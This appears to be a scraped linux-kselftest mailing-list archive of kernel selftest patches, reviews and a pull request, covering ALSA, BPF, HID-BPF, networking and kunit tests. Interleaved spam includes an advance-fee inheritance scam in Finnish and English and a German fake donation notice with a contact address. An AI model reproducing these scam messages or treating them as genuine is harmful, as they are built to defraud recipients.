tools/testing/selftests/vm/Makefile | 5 +-
tools/testing/selftests/vm/pagemap_ioctl.c | 681 +++++++++++++++++++++
6 files changed, 1156 insertions(+), 33 deletions(-)
create mode 100644 tools/testing/selftests/vm/pagemap_ioctl.c
--
2.30.2
When fixing up support for extra_context in the signal handling tests I
didn't notice that there is a TODO file in the directory which lists this
as a thing to be done. Since it's been done remove it from the list.
Signed-off-by: Mark Brown <broonie(a)kernel.org>
---
tools/testing/selftests/arm64/signal/testcases/TODO | 1 -
1 file changed, 1 deletion(-)
diff --git a/tools/testing/selftests/arm64/signal/testcases/TODO b/tools/testing/selftests/arm64/signal/testcases/TODO
index 110ff9fd195d..1f7fba8194fe 100644
--- a/tools/testing/selftests/arm64/signal/testcases/TODO
+++ b/tools/testing/selftests/arm64/signal/testcases/TODO
@@ -1,2 +1 @@
- Validate that register contents are saved and restored as expected.
-- Support and validate extra_context.
base-commit: 9abf2313adc1ca1b6180c508c25f22f9395cc780
--
2.30.2
The signal magic values are supposed to be allocated as somewhat meaningful
ASCII so if we encounter a bad magic value print the any alphanumeric
characters we find in it as well as the hex value to aid debuggability.
Signed-off-by: Mark Brown <broonie(a)kernel.org>
---
.../arm64/signal/testcases/testcases.c | 21 +++++++++++++++----
1 file changed, 17 insertions(+), 4 deletions(-)
diff --git a/tools/testing/selftests/arm64/signal/testcases/testcases.c b/tools/testing/selftests/arm64/signal/testcases/testcases.c
index e1c625b20ac4..d2eda7b5de26 100644
--- a/tools/testing/selftests/arm64/signal/testcases/testcases.c
+++ b/tools/testing/selftests/arm64/signal/testcases/testcases.c
@@ -1,5 +1,9 @@
// SPDX-License-Identifier: GPL-2.0
/* Copyright (C) 2019 ARM Limited */
+
+#include <ctype.h>
+#include <string.h>
+
#include "testcases.h"
struct _aarch64_ctx *get_header(struct _aarch64_ctx *head, uint32_t magic,
@@ -109,7 +113,7 @@ bool validate_reserved(ucontext_t *uc, size_t resv_sz, char **err)
bool terminated = false;
size_t offs = 0;
int flags = 0;
- int new_flags;
+ int new_flags, i;
struct extra_context *extra = NULL;
struct sve_context *sve = NULL;
struct za_context *za = NULL;
@@ -117,6 +121,7 @@ bool validate_reserved(ucontext_t *uc, size_t resv_sz, char **err)
(struct _aarch64_ctx *)uc->uc_mcontext.__reserved;
void *extra_data = NULL;
size_t extra_sz = 0;
+ char magic[4];
if (!err)
return false;
@@ -194,11 +199,19 @@ bool validate_reserved(ucontext_t *uc, size_t resv_sz, char **err)
/*
* A still unknown Magic: potentially freshly added
* to the Kernel code and still unknown to the
- * tests.
+ * tests. Magic numbers are supposed to be allocated
+ * as somewhat meaningful ASCII strings so try to
+ * print as such as well as the raw number.
*/
+ memcpy(magic, &head->magic, sizeof(magic));
+ for (i = 0; i < sizeof(magic); i++)
+ if (!isalnum(magic[i]))
+ magic[i] = '?';
+
fprintf(stdout,
- "SKIP Unknown MAGIC: 0x%X - Is KSFT arm64/signal up to date ?\n",
- head->magic);
+ "SKIP Unknown MAGIC: 0x%X (%c%c%c%c) - Is KSFT arm64/signal up to date ?\n",
+ head->magic,
+ magic[3], magic[2], magic[1], magic[0]);
break;
}
base-commit: 30a0b95b1335e12efef89dd78518ed3e4a71a763
--
2.30.2
This series provides a couple of improvements to the output of
fp-stress, making it easier to follow what's going on and our
application of the timeout a bit more even.
Mark Brown (2):
kselftest/arm64: Check that all children are producing output in
fp-stress
kselftest/arm64: Provide progress messages when signalling children
tools/testing/selftests/arm64/fp/fp-stress.c | 26 ++++++++++++++++++++
1 file changed, 26 insertions(+)
base-commit: 9abf2313adc1ca1b6180c508c25f22f9395cc780
--
2.30.2
On Tue, Nov 08, 2022 at 12:59:14PM +0100, Jaroslav Kysela wrote:
> This initial code does a simple sample transfer tests. By default,
> all PCM devices are detected and tested with short and long
> buffering parameters for 4 seconds. If the sample transfer timing
> is not in a +-100ms boundary, the test fails. Only the interleaved
> buffering scheme is supported in this version.
Oh, thanks for picking this up - something like this has been on my mind
for ages! This should probably be copied to Shuah and the kselftest
list as well, I've added them. This looks basically good to me, I've
got a bunch of comments below but I'm not sure any of them except
possibly the one about not putting values in the configuration file by
default should block getting this merged so:
Reviewed-by: Mark Brown <broonie(a)kernel.org>
> The configuration may be modified with the configuration files.
> A specific hardware configuration is detected and activated
> using the sysfs regex matching. This allows to use the DMI string
> (/sys/class/dmi/id/* tree) or any other system parameters
> exposed in sysfs for the matching for the CI automation.
> The configuration file may also specify the PCM device list to detect
> the missing PCM devices.
> create mode 100644 tools/testing/selftests/alsa/alsa-local.h
> create mode 100644 tools/testing/selftests/alsa/conf.c
> create mode 100644 tools/testing/selftests/alsa/conf.d/Lenovo_ThinkPad_P1_Gen2.conf
> create mode 100644 tools/testing/selftests/alsa/pcm-test.c
This is a bit unusual for kselftest and might create a bit of churn but
does seem sensible and reasonable to me, it's on the edge of what
kselftest usually covers but seems close enough in scope. I worry
a bit about ending up needing to add a config fragment as a result but
perhaps we can get away without.
> index 000000000000..0a83f35d43eb
> --- /dev/null
> +++ b/tools/testing/selftests/alsa/conf.d/Lenovo_ThinkPad_P1_Gen2.conf
> + pcm.0.0 {
> + PLAYBACK {
> + test.time1 {
> + access RW_INTERLEAVED # can be omitted - default
> + format S16_LE # can be omitted - default
> + rate 48000 # can be omitted - default
> + channels 2 # can be omitted - default
> + period_size 512
> + buffer_size 4096
I think it'd be better to leave these commented by default, especially
if/once we improve the enumeration. That way the coverage will default
to whatever the tool does by default on the system (including any
checking of constraints for example). I guess we might want to add a
way of saying "here's what I expect the constraints to be" but that's
very much future work.
> +#ifdef SND_LIB_VER
> +#if SND_LIB_VERSION >= SND_LIB_VER(1, 2, 6)
> +#define LIB_HAS_LOAD_STRING
> +#endif
> +#endif
> +
> +#ifndef LIB_HAS_LOAD_STRING
> +static int snd_config_load_string(snd_config_t **config, const char *s,
> + size_t size)
> +{
This is also in mixer-test, we should pull it into a helper library too.
Something that could be done separately/incrementally.
> + for (i = 0; i < 4; i++) {
> +
> + snd_pcm_drain(handle);
> + ms = timestamp_diff_ms(&tstamp);
> + if (ms < 3900 || ms > 4100) {
It feels like the runtime might be usefully parameterised here - there's
a tradeoff with detecting inaccurate clocks and runtime that people
might want to make.
> + ksft_set_plan(num_missing + num_pcms * TESTS_PER_PCM);
> + for (pcm = pcm_missing; pcm != NULL; pcm = pcm->next) {
> + ksft_test_result(false, "test.missing.%d.%d.%d.%s\n",
> + pcm->card, pcm->device, pcm->subdevice,
> + snd_pcm_stream_name(pcm->stream));
> + }
We don't seem to report a successful test.missing anywhere like
find_pcms() so if we ever hit a test.missing then it'll look like a new
test, old test runs won't have logged the failure. That can change how
people look at any failures that crop up, "it's new and never worked" is
different to "this used to work" and people are likely to just be
running kselftest rather than specifically know this test. It'd be
better if we counted the cards in the config and used that for our
expected number of test.missings, logging cards that we find here as
well.
> + for (pcm = pcm_list; pcm != NULL; pcm = pcm->next) {
> + test_pcm_time1(pcm, "test.time1", "S16_LE", 48000, 2, 512, 4096);
> + test_pcm_time1(pcm, "test.time2", "S16_LE", 48000, 2, 24000, 192000);
> + }
It does feel like especially in the case where no configuration is
specified we should be eumerating what the card can do and both
potentially doing more tests (though there's obviously an execution time
tradeoff with going overboard there) and skipping configurations that
the card never claimed to support in the first place. In particular I'm
expecting we'll see some cards that only do either 44.1kHz or 48kHz and
will get spurious fails by default, and I'd like to see coverage of mono
playback on cards that claim to support it because I suspect there's a
bunch of them that don't actually do the right thing.
Like I say most of this could be done incrementally if we decide it
needs to get done at all though, we shouldn't let perfect be the enemy
of good.
1. Patch 1 and Patch 2 are dependent patches to resolve the BPF check error in
32-bit ARM.
2. Patch 3 supports bpf fkunc in 32-bit ARM.
3. Patch 4 is used to add test cases to cover some parameter scenarios states
by AAPCS.
The following is the test_progs result in the 32-bit ARM environment:
# uname -a
Linux qemuarm32 6.1.0-rc3+ #2 SMP Thu Nov 3 15:31:29 CST 2022 armv7l armv7l armv7l GNU/Linux
# echo 1 > /proc/sys/net/core/bpf_jit_enable
# ./test_progs -t kfunc_call
#1/1 kfunc_call/kfunc_syscall_test_fail:OK
#1/2 kfunc_call/kfunc_syscall_test_null_fail:OK
#1/3 kfunc_call/kfunc_call_test_get_mem_fail_rdonly:OK
#1/4 kfunc_call/kfunc_call_test_get_mem_fail_use_after_free:OK
#1/5 kfunc_call/kfunc_call_test_get_mem_fail_oob:OK
#1/6 kfunc_call/kfunc_call_test_get_mem_fail_not_const:OK
#1/7 kfunc_call/kfunc_call_test_mem_acquire_fail:OK
#1/8 kfunc_call/kfunc_call_test1:OK
#1/9 kfunc_call/kfunc_call_test2:OK
#1/10 kfunc_call/kfunc_call_test4:OK
#1/11 kfunc_call/kfunc_call_test_ref_btf_id:OK
#1/12 kfunc_call/kfunc_call_test_get_mem:OK
#1/13 kfunc_call/kfunc_syscall_test:OK
#1/14 kfunc_call/kfunc_syscall_test_null:OK
#1/17 kfunc_call/destructive:OK
Yang Jihong (4):
bpf: Adapt 32-bit return value kfunc for 32-bit ARM when zext
extension
bpf: Remove size check for sk in bpf_skb_is_valid_access for 32-bit
architecture
bpf: Add kernel function call support in 32-bit ARM
bpf:selftests: Add kfunc_call test for mixing 32-bit and 64-bit
parameters
arch/arm/net/bpf_jit_32.c | 130 ++++++++++++++++++
kernel/bpf/verifier.c | 3 +
net/bpf/test_run.c | 6 +
net/core/filter.c | 2 -
.../selftests/bpf/prog_tests/kfunc_call.c | 1 +
.../selftests/bpf/progs/kfunc_call_test.c | 23 ++++
6 files changed, 163 insertions(+), 2 deletions(-)
--
2.30.GIT
On Mon, Nov 07, 2022 at 08:49:08PM -0400, Jason Gunthorpe wrote:
> Cover the essential functionality of the iommufd with a directed
> test. This aims to achieve reasonable functional coverage using the
> in-kernel self test framework.
>
> It provides a mock kernel module for the iommu_domain that allows it to
> run without any HW and the mocking provides a way to directly validate
> that the PFNs loaded into the iommu_domain are correct.
>
> The mock also simulates the rare case of PAGE_SIZE > iommu page size as
> the mock will operate at a 2K iommu page size. This allows exercising all
> of the calculations to support this mismatch.
>
> This allows achieving high coverage of the corner cases in the iopt_pages.
>
> However, it is an unusually invasive config option to enable all of
> this. The config option should not be enabled in a production kernel.
This patch crossed 100k so it was bounced from the vger lists.
If anyone didn't get it and would like to see it lore has it:
https://lore.kernel.org/linux-iommu/15-v4-0de2f6c78ed0+9d1-iommufd_jgg@nvid…
For the eventual v5 I will split the nth test into its own patch
Jason
The test_lwt_seg6local.c implements several eBPF programs which are
used to test the SRv6 End.BPF behavior.
Since commit afef88e65554 ("selftests/bpf: Store BPF object files with
.bpf.o extension"), part of the build system and test programs loading
BPF object files are supposed to work with the .bpf.o extension.
Consequently, the test_lwt_seg6local.c is compiled into
test_lwt_seg6local.bpf.o and the corresponding test_lwt_seg6local.sh
script is not updated to deal with the correct .bpf.o extension.
This patch fixes the test_lwt_seg6local.sh, using the correct .bpf.o
extension for the testing BPF object file, i.e. test_lwt_seg6local.bpf.o.
Fixes: afef88e65554 ("selftests/bpf: Store BPF object files with .bpf.o extension")
Signed-off-by: Andrea Mayer <andrea.mayer(a)uniroma2.it>
---
tools/testing/selftests/bpf/test_lwt_seg6local.sh | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/tools/testing/selftests/bpf/test_lwt_seg6local.sh b/tools/testing/selftests/bpf/test_lwt_seg6local.sh
index 826f4423ce02..bfe76ab78481 100755
--- a/tools/testing/selftests/bpf/test_lwt_seg6local.sh
+++ b/tools/testing/selftests/bpf/test_lwt_seg6local.sh
@@ -117,18 +117,18 @@ ip netns exec ${NS6} ip -6 addr add fb00::109/16 dev veth10 scope link
ip netns exec ${NS1} ip -6 addr add fb00::1/16 dev lo
ip netns exec ${NS1} ip -6 route add fb00::6 dev veth1 via fb00::21
-ip netns exec ${NS2} ip -6 route add fb00::6 encap bpf in obj test_lwt_seg6local.o sec encap_srh dev veth2
+ip netns exec ${NS2} ip -6 route add fb00::6 encap bpf in obj test_lwt_seg6local.bpf.o sec encap_srh dev veth2
ip netns exec ${NS2} ip -6 route add fd00::1 dev veth3 via fb00::43 scope link
ip netns exec ${NS3} ip -6 route add fc42::1 dev veth5 via fb00::65
-ip netns exec ${NS3} ip -6 route add fd00::1 encap seg6local action End.BPF endpoint obj test_lwt_seg6local.o sec add_egr_x dev veth4
+ip netns exec ${NS3} ip -6 route add fd00::1 encap seg6local action End.BPF endpoint obj test_lwt_seg6local.bpf.o sec add_egr_x dev veth4
-ip netns exec ${NS4} ip -6 route add fd00::2 encap seg6local action End.BPF endpoint obj test_lwt_seg6local.o sec pop_egr dev veth6
+ip netns exec ${NS4} ip -6 route add fd00::2 encap seg6local action End.BPF endpoint obj test_lwt_seg6local.bpf.o sec pop_egr dev veth6
ip netns exec ${NS4} ip -6 addr add fc42::1 dev lo
ip netns exec ${NS4} ip -6 route add fd00::3 dev veth7 via fb00::87
ip netns exec ${NS5} ip -6 route add fd00::4 table 117 dev veth9 via fb00::109
-ip netns exec ${NS5} ip -6 route add fd00::3 encap seg6local action End.BPF endpoint obj test_lwt_seg6local.o sec inspect_t dev veth8
+ip netns exec ${NS5} ip -6 route add fd00::3 encap seg6local action End.BPF endpoint obj test_lwt_seg6local.bpf.o sec inspect_t dev veth8
ip netns exec ${NS6} ip -6 addr add fb00::6/16 dev lo
ip netns exec ${NS6} ip -6 addr add fd00::4/16 dev lo
--
2.20.1
Changes from v1
(https://lore.kernel.org/damon/20221031182554.7882-1-sj@kernel.org/)
- Rebase on latest mm-unstable
---
This patchset is for fixing (patch 1) the syzbot-reported
slab-out-of-bounds write in dbgfs_rm_context_write[1], and adding a
selftest for the bug (patch 2).
[1] https://lore.kernel.org/damon/000000000000ede3ac05ec4abf8e@google.com/
SeongJae Park (2):
mm/damon/dbgfs: check if rm_contexts input is for a real context
selftests/damon: test non-context inputs to rm_contexts file
mm/damon/dbgfs.c | 7 +++++++
tools/testing/selftests/damon/Makefile | 1 +
.../damon/debugfs_rm_non_contexts.sh | 19 +++++++++++++++++++
3 files changed, 27 insertions(+)
create mode 100755 tools/testing/selftests/damon/debugfs_rm_non_contexts.sh
--
2.25.1
From: Roberto Sassu <roberto.sassu(a)huawei.com>
include/linux/lsm_hooks.h reports the result of the LSM infrastructure to
the callers, not what LSMs should return to the LSM infrastructure.
Clarify that and add that returning 1 from the LSMs means calling
__vm_enough_memory() with cap_sys_admin set, 0 without.
Signed-off-by: Roberto Sassu <roberto.sassu(a)huawei.com>
---
include/linux/lsm_hooks.h | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/include/linux/lsm_hooks.h b/include/linux/lsm_hooks.h
index 4ec80b96c22e..f40b82ca91e7 100644
--- a/include/linux/lsm_hooks.h
+++ b/include/linux/lsm_hooks.h
@@ -1411,7 +1411,9 @@
* Check permissions for allocating a new virtual mapping.
* @mm contains the mm struct it is being added to.
* @pages contains the number of pages.
- * Return 0 if permission is granted.
+ * Return 0 if permission is granted by LSMs to the caller. LSMs should
+ * return 1 if __vm_enough_memory() should be called with
+ * cap_sys_admin set, 0 if not.
*
* @ismaclabel:
* Check if the extended attribute specified by @name
--
2.25.1
Hei ja miten voit?
Nimeni on rouva Evereen, lähetän tämän viestin suurella toivolla
välitön vastaus, koska minun on tehtävä uusi sydänleikkaus
tällä hetkellä huonokuntoinen ja vähäiset mahdollisuudet selviytyä.
Mutta ennen kuin minä
Tee toinen vaarallinen operaatio, annan sen sinulle
Minulla on 6 550 000 dollaria yhdysvaltalaisella pankkitilillä
sijoittamista, hallinnointia ja käyttöä varten
voittoa hyväntekeväisyysprojektin toteuttamiseen. Tarkoitan sairaiden auttamista
ja köyhät ovat viimeinen haluni maan päällä, sillä minulla ei ole niitä
keneltä perii rahaa.
Vastaa minulle nopeasti
terveisiä
Rouva Monika Evereen
Florida, Amerikan Yhdysvallat
=======================================================
Hi and how are you?
My name is Mrs. Evereen, I am sending this message with great hope for
an immediate response, as I have to undergo heart reoperation in my
current poor health with little chance of survival. But before I
undertake the second dangerous operation, I will give you the
$6,550,000 I have in my US bank account to invest well, manage and use
the profits to run a charity project for me. I count helping the sick
and the poor as my last wish on earth, because I have no one to
inherit money from.
Please give me a quick reply
regards
Mrs. Monika Evereen
Florida, United States of America
1. Patch 1 and Patch 2 are dependent patches to resolve the BPF check
error in 32-bit ARM.
2. Patch 3 supports bpf fkunc in 32-bit ARM.
3. Patch 4 is used to add test cases to cover some parameter scenarios
states by AAPCS.
The following is the test_progs result in the 32-bit ARM environment:
# uname -a
Linux qemuarm32 6.1.0-rc3+ #2 SMP Thu Nov 3 15:31:29 CST 2022 armv7l armv7l armv7l GNU/Linux
# echo 1 > /proc/sys/net/core/bpf_jit_enable
# ./test_progs -t kfunc_call
#1/1 kfunc_call/kfunc_syscall_test_fail:OK
#1/2 kfunc_call/kfunc_syscall_test_null_fail:OK
#1/3 kfunc_call/kfunc_call_test_get_mem_fail_rdonly:OK
#1/4 kfunc_call/kfunc_call_test_get_mem_fail_use_after_free:OK
#1/5 kfunc_call/kfunc_call_test_get_mem_fail_oob:OK
#1/6 kfunc_call/kfunc_call_test_get_mem_fail_not_const:OK
#1/7 kfunc_call/kfunc_call_test_mem_acquire_fail:OK
#1/8 kfunc_call/kfunc_call_test1:OK
#1/9 kfunc_call/kfunc_call_test2:OK
#1/10 kfunc_call/kfunc_call_test4:OK
#1/11 kfunc_call/kfunc_call_test_ref_btf_id:OK
#1/12 kfunc_call/kfunc_call_test_get_mem:OK
#1/13 kfunc_call/kfunc_syscall_test:OK
#1/14 kfunc_call/kfunc_syscall_test_null:OK
#1/17 kfunc_call/destructive:OK
Yang Jihong (4):
bpf: Adapt 32-bit return value kfunc for 32-bit ARM when zext
extension
bpf: Remove size check for sk in bpf_skb_is_valid_access for 32-bit
architecture
bpf: Add kernel function call support in 32-bit ARM
bpf:selftests: Add kfunc_call test for mixing 32-bit and 64-bit
parameters
arch/arm/net/bpf_jit_32.c | 130 ++++++++++++++++++
kernel/bpf/verifier.c | 3 +
net/bpf/test_run.c | 6 +
net/core/filter.c | 2 -
.../selftests/bpf/prog_tests/kfunc_call.c | 1 +
.../selftests/bpf/progs/kfunc_call_test.c | 23 ++++
6 files changed, 163 insertions(+), 2 deletions(-)
--
2.30.GIT
--
Die Summe von 500.000,00 € wurde Ihnen von STEFANO PESSINA gespendet.
Bitte kontaktieren Sie uns für weitere Informationen über
stefanopessia755(a)hotmail.com
--
Die Summe von 500.000,00 € wurde Ihnen von STEFANO PESSINA gespendet.
Bitte kontaktieren Sie uns für weitere Informationen über
stefanopessia755(a)hotmail.com
In some conditions, background processes in udpgro don't have enough
time to set up the sockets. When foreground processes start, this
results in the test failing with "./udpgso_bench_tx: sendmsg: Connection
refused". For instance, this happens from time to time on a Qualcomm
SA8540P SoC running CentOS Stream 9.
To fix this, increase the time given to background processes to
complete the startup before foreground processes start.
Signed-off-by: Adrien Thierry <athierry(a)redhat.com>
---
This is a continuation of the hack that's present in those tests. Other
ideas are welcome to fix this in a more permanent way.
tools/testing/selftests/net/udpgro.sh | 4 ++--
tools/testing/selftests/net/udpgro_bench.sh | 2 +-
tools/testing/selftests/net/udpgro_frglist.sh | 2 +-
3 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/tools/testing/selftests/net/udpgro.sh b/tools/testing/selftests/net/udpgro.sh
index ebbd0b282432..6a443ca3cd3a 100755
--- a/tools/testing/selftests/net/udpgro.sh
+++ b/tools/testing/selftests/net/udpgro.sh
@@ -50,7 +50,7 @@ run_one() {
echo "failed" &
# Hack: let bg programs complete the startup
- sleep 0.1
+ sleep 0.2
./udpgso_bench_tx ${tx_args}
ret=$?
wait $(jobs -p)
@@ -117,7 +117,7 @@ run_one_2sock() {
echo "failed" &
# Hack: let bg programs complete the startup
- sleep 0.1
+ sleep 0.2
./udpgso_bench_tx ${tx_args} -p 12345
sleep 0.1
# first UDP GSO socket should be closed at this point
diff --git a/tools/testing/selftests/net/udpgro_bench.sh b/tools/testing/selftests/net/udpgro_bench.sh
index fad2d1a71cac..8a1109a545db 100755
--- a/tools/testing/selftests/net/udpgro_bench.sh
+++ b/tools/testing/selftests/net/udpgro_bench.sh
@@ -39,7 +39,7 @@ run_one() {
ip netns exec "${PEER_NS}" ./udpgso_bench_rx -t ${rx_args} -r &
# Hack: let bg programs complete the startup
- sleep 0.1
+ sleep 0.2
./udpgso_bench_tx ${tx_args}
}
diff --git a/tools/testing/selftests/net/udpgro_frglist.sh b/tools/testing/selftests/net/udpgro_frglist.sh
index 832c738cc3c2..7fe85ba51075 100755
--- a/tools/testing/selftests/net/udpgro_frglist.sh
+++ b/tools/testing/selftests/net/udpgro_frglist.sh
@@ -44,7 +44,7 @@ run_one() {
ip netns exec "${PEER_NS}" ./udpgso_bench_rx ${rx_args} -r &
# Hack: let bg programs complete the startup
- sleep 0.1
+ sleep 0.2
./udpgso_bench_tx ${tx_args}
}
--
2.38.1
Hi,
and here comes the v11 of the HID-BPF series.
Again, for a full explanation of HID-BPF, please refer to the last patch
in this series (14/14).
Now that the bpf-core changes are all merged in v6.1, it is
time to have that series entirely relying on HID, so it can get
merged into the HID tree.
Compared to v10, the most notable change is in the selftests and the
samples: they are now namespaced into hid, not bpf.
This means that HID-BPF has no more conflicts with the bpf tree.
One other interesting change is in patch 4/14. I managed to reduce
the scope of the embedded bpf programs, by tricking the refcount.
I am planning on submitting an RFC for embedding those changes in
bpf core (a map that doesn't increment refcount and a cleanup mechanism)
but this can come as a later improvement.
This new kind of maps and mechanisms might also be useful for other
subsystems.
Cheers,
Benjamin
Benjamin Tissoires (14):
HID: Kconfig: split HID support and hid-core compilation
HID: initial BPF implementation
selftests: add tests for the HID-bpf initial implementation
HID: bpf jmp table: simplify the logic of cleaning up programs
HID: bpf: allocate data memory for device_event BPF programs
selftests/hid: add test to change the report size
HID: bpf: introduce hid_hw_request()
selftests/hid: add tests for bpf_hid_hw_request
HID: bpf: allow to change the report descriptor
selftests/hid: add report descriptor fixup tests
selftests/hid: Add a test for BPF_F_INSERT_HEAD
samples/hid: add new hid BPF example
samples/hid: add Surface Dial example
Documentation: add HID-BPF docs
Documentation/hid/hid-bpf.rst | 513 +++++++++++
Documentation/hid/index.rst | 1 +
MAINTAINERS | 3 +
drivers/Makefile | 2 +-
drivers/hid/Kconfig | 20 +-
drivers/hid/Makefile | 2 +
drivers/hid/bpf/Kconfig | 17 +
drivers/hid/bpf/Makefile | 11 +
drivers/hid/bpf/entrypoints/Makefile | 93 ++
drivers/hid/bpf/entrypoints/README | 4 +
drivers/hid/bpf/entrypoints/entrypoints.bpf.c | 34 +
.../hid/bpf/entrypoints/entrypoints.lskel.h | 368 ++++++++
drivers/hid/bpf/hid_bpf_dispatch.c | 526 +++++++++++
drivers/hid/bpf/hid_bpf_dispatch.h | 28 +
drivers/hid/bpf/hid_bpf_jmp_table.c | 572 ++++++++++++
drivers/hid/hid-core.c | 32 +-
include/linux/hid.h | 5 +
include/linux/hid_bpf.h | 148 +++
include/uapi/linux/hid_bpf.h | 25 +
samples/hid/.gitignore | 8 +
samples/hid/Makefile | 246 +++++
samples/hid/Makefile.target | 75 ++
samples/hid/hid_mouse.bpf.c | 134 +++
samples/hid/hid_mouse.c | 160 ++++
samples/hid/hid_surface_dial.bpf.c | 161 ++++
samples/hid/hid_surface_dial.c | 231 +++++
tools/include/uapi/linux/hid.h | 62 ++
tools/include/uapi/linux/hid_bpf.h | 25 +
tools/testing/selftests/Makefile | 1 +
tools/testing/selftests/hid/.gitignore | 4 +
tools/testing/selftests/hid/Makefile | 242 +++++
tools/testing/selftests/hid/config | 20 +
tools/testing/selftests/hid/hid_bpf.c | 846 ++++++++++++++++++
tools/testing/selftests/hid/progs/hid.c | 206 +++++
34 files changed, 4815 insertions(+), 10 deletions(-)
create mode 100644 Documentation/hid/hid-bpf.rst
create mode 100644 drivers/hid/bpf/Kconfig
create mode 100644 drivers/hid/bpf/Makefile
create mode 100644 drivers/hid/bpf/entrypoints/Makefile
create mode 100644 drivers/hid/bpf/entrypoints/README
create mode 100644 drivers/hid/bpf/entrypoints/entrypoints.bpf.c
create mode 100644 drivers/hid/bpf/entrypoints/entrypoints.lskel.h
create mode 100644 drivers/hid/bpf/hid_bpf_dispatch.c
create mode 100644 drivers/hid/bpf/hid_bpf_dispatch.h
create mode 100644 drivers/hid/bpf/hid_bpf_jmp_table.c
create mode 100644 include/linux/hid_bpf.h
create mode 100644 include/uapi/linux/hid_bpf.h
create mode 100644 samples/hid/.gitignore
create mode 100644 samples/hid/Makefile
create mode 100644 samples/hid/Makefile.target
create mode 100644 samples/hid/hid_mouse.bpf.c
create mode 100644 samples/hid/hid_mouse.c
create mode 100644 samples/hid/hid_surface_dial.bpf.c
create mode 100644 samples/hid/hid_surface_dial.c
create mode 100644 tools/include/uapi/linux/hid.h
create mode 100644 tools/include/uapi/linux/hid_bpf.h
create mode 100644 tools/testing/selftests/hid/.gitignore
create mode 100644 tools/testing/selftests/hid/Makefile
create mode 100644 tools/testing/selftests/hid/config
create mode 100644 tools/testing/selftests/hid/hid_bpf.c
create mode 100644 tools/testing/selftests/hid/progs/hid.c
--
2.36.1
Hi Linus,
Please pull the following Kselftest fixes update for Linux 6.1-rc4.
This Kselftest fixes update for Linux 6.1-rc4 consists of fixes to
pidfd test.
diff is attached.
thanks,
-- Shuah
----------------------------------------------------------------
The following changes since commit cb05c81ada76a30a25a5f79b249375e33473af33:
selftests/ftrace: fix dynamic_events dependency check (2022-10-18 14:27:23 -0600)
are available in the Git repository at:
git://git.kernel.org/pub/scm/linux/kernel/git/shuah/linux-kselftest tags/linux-kselftest-fixes-6.1-rc4
for you to fetch changes up to 89c1017aac67ca81973b7c8eac5d021315811a93:
selftests/pidfd_test: Remove the erroneous ',' (2022-11-02 03:09:57 -0600)
----------------------------------------------------------------
linux-kselftest-fixes-6.1-rc4
This Kselftest fixes update for Linux 6.1-rc4 consists of fixes to
pidfd test.
----------------------------------------------------------------
Li Zhijian (2):
ksefltests: pidfd: Fix wait_states: Test terminated by timeout
selftests: pidfd: Fix compling warnings
Zhao Gongyi (1):
selftests/pidfd_test: Remove the erroneous ','
tools/testing/selftests/pidfd/Makefile | 2 +-
tools/testing/selftests/pidfd/pidfd_test.c | 4 +++-
tools/testing/selftests/pidfd/pidfd_wait.c | 12 +++++++++++-
3 files changed, 15 insertions(+), 3 deletions(-)
----------------------------------------------------------------
Since we're using Python 3.7+, we can use dataclasses to tersen the
code.
It also lets us create pre-populated TestCounts() objects and compare
them in our unit test. (Before, you could only create empty ones).
Signed-off-by: Daniel Latypov <dlatypov(a)google.com>
Reviewed-by: David Gow <davidgow(a)google.com>
---
v1 -> v2: just rebased onto linux-kselftest/kunit
---
tools/testing/kunit/kunit_parser.py | 25 ++++++++-----------------
tools/testing/kunit/kunit_tool_test.py | 4 +---
2 files changed, 9 insertions(+), 20 deletions(-)
diff --git a/tools/testing/kunit/kunit_parser.py b/tools/testing/kunit/kunit_parser.py
index 94dba66feec5..a56c75a973b5 100644
--- a/tools/testing/kunit/kunit_parser.py
+++ b/tools/testing/kunit/kunit_parser.py
@@ -10,6 +10,7 @@
# Author: Rae Moar <rmoar(a)google.com>
from __future__ import annotations
+from dataclasses import dataclass
import re
import sys
@@ -71,27 +72,17 @@ class TestStatus(Enum):
NO_TESTS = auto()
FAILURE_TO_PARSE_TESTS = auto()
+@dataclass
class TestCounts:
"""
Tracks the counts of statuses of all test cases and any errors within
a Test.
-
- Attributes:
- passed : int - the number of tests that have passed
- failed : int - the number of tests that have failed
- crashed : int - the number of tests that have crashed
- skipped : int - the number of tests that have skipped
- errors : int - the number of errors in the test and subtests
- """
- def __init__(self):
- """Creates TestCounts object with counts of all test
- statuses and test errors set to 0.
- """
- self.passed = 0
- self.failed = 0
- self.crashed = 0
- self.skipped = 0
- self.errors = 0
+ """
+ passed: int = 0
+ failed: int = 0
+ crashed: int = 0
+ skipped: int = 0
+ errors: int = 0
def __str__(self) -> str:
"""Returns the string representation of a TestCounts object."""
diff --git a/tools/testing/kunit/kunit_tool_test.py b/tools/testing/kunit/kunit_tool_test.py
index 7dcd67003b23..440a273f1d21 100755
--- a/tools/testing/kunit/kunit_tool_test.py
+++ b/tools/testing/kunit/kunit_tool_test.py
@@ -182,9 +182,7 @@ class KUnitParserTest(unittest.TestCase):
kunit_parser.extract_tap_lines(
file.readlines()))
# A missing test plan is not an error.
- self.assertEqual(0, result.counts.errors)
- # All tests should be accounted for.
- self.assertEqual(10, result.counts.total())
+ self.assertEqual(result.counts, kunit_parser.TestCounts(passed=10, errors=0))
self.assertEqual(
kunit_parser.TestStatus.SUCCESS,
result.status)
base-commit: 29ad37f740d302d0f27374edaf85fe8978e45ba9
--
2.38.1.431.g37b22c650d-goog
Since we're using Python 3.7+, we can use dataclasses to tersen the
code.
It also lets us create pre-populated TestCounts() objects and compare
them in our unit test. (Before, you could only create empty ones).
Signed-off-by: Daniel Latypov <dlatypov(a)google.com>
---
tools/testing/kunit/kunit_parser.py | 25 ++++++++-----------------
tools/testing/kunit/kunit_tool_test.py | 4 +---
2 files changed, 9 insertions(+), 20 deletions(-)
diff --git a/tools/testing/kunit/kunit_parser.py b/tools/testing/kunit/kunit_parser.py
index 1ae873e3e341..f022966858f2 100644
--- a/tools/testing/kunit/kunit_parser.py
+++ b/tools/testing/kunit/kunit_parser.py
@@ -10,6 +10,7 @@
# Author: Rae Moar <rmoar(a)google.com>
from __future__ import annotations
+from dataclasses import dataclass
import re
import sys
@@ -67,27 +68,17 @@ class TestStatus(Enum):
NO_TESTS = auto()
FAILURE_TO_PARSE_TESTS = auto()
+@dataclass
class TestCounts:
"""
Tracks the counts of statuses of all test cases and any errors within
a Test.
-
- Attributes:
